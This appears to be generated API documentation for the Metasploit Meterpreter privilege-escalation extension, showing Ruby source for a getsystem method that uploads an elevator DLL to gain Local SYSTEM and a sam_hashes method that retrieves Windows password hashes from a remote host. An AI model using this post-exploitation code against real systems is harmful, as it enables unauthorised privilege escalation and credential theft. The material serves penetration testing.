Class: Rex::Post::Meterpreter::Extensions::Priv::Priv

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/priv/priv.rb

Overview

This meterpreter extensions a privilege escalation interface that is capable of doing things like dumping password hashes and performing local exploitation.

Instance Attribute Summary collapse

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Priv

Initializes the privilege escalationextension.



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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 26

def initialize(client)
	super(client, 'priv')

	client.register_extension_aliases(
		[
			{
				'name' => 'priv',
				'ext'  => self
			},
		])

	# Initialize sub-classes
	self.fs = Fs.new(client)
end

Instance Attribute Details

#fs ⇒ Object

Modifying privileged file system attributes.



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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 105

def fs
  @fs
end

Instance Method Details

#getsystem(technique = 0) ⇒ Object

Attempt to elevate the meterpreter to Local SYSTEM



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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 44

def getsystem( technique=0 )
	request = Packet.create_request( 'priv_elevate_getsystem' )

	elevator_name = Rex::Text.rand_text_alpha_lower( 6 )

	if( client.platform == 'x64/win64' )
		elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
	else
		elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
	end

	elevator_path = ::File.expand_path( elevator_path )

	elevator_data = ""

	::File.open( elevator_path, "rb" ) { |f|
		elevator_data += f.read( f.stat.size )
	}

	request.add_tlv( TLV_TYPE_ELEVATE_TECHNIQUE, technique )
	request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_NAME, elevator_name )
	request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data )
	request.add_tlv( TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length )

	# as some service routines can be slow we bump up the timeout to 90 seconds
	response = client.send_request( request, 90 )

	technique = response.get_tlv_value( TLV_TYPE_ELEVATE_TECHNIQUE )

	if( response.result == 0 and technique != nil )
		client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
		client.sys.config.getprivs
		if client.framework.db and client.framework.db.active
			client.framework.db.report_note(
				:host => client.sock.peerhost,
				:workspace => client.framework.db.workspace,
				:type => "meterpreter.getsystem",
				:data => {:technique => technique}
			) rescue nil
		end
		return [ true, technique ]
	end

	return [ false, 0 ]
end

#sam_hashes ⇒ Object

Returns an array of SAM hashes from the remote machine.



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# File 'lib/rex/post/meterpreter/extensions/priv/priv.rb', line 93

def sam_hashes
	# This can take a long long time for large domain controls, bump the timeout to one hour
	response = client.send_request(Packet.create_request('priv_passwd_get_sam_hashes'), 3600)

	response.get_tlv_value(TLV_TYPE_SAM_HASHES).split(/\n/).map { |hash|
		SamUser.new(hash)
	}
end